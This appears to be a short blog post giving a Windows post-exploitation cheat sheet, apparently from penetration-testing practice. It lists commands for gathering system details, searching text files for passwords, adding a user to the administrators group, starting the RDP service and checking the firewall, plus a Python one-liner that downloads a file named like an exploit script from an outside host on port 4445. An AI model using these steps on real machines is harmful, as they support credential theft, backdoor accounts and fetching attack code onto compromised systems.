Windows-cheatsheet


systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 
findstr /s /n /i /p /c:"password" *.txt
net user /add [username] [password]
new localgroup administrators [username] /add
net start TermService ( start RDP Service)
netsh firewall show state
 
 use Python like wget
C:\python26\python.exe -c "import urllib2; u = urllib2.urlopen('http://10.11.0.108:4445/35936.py'); localFile = open('local_file', 'w') ; localFile.write(u.read()); localFile.close()" 

No comments:

Post a Comment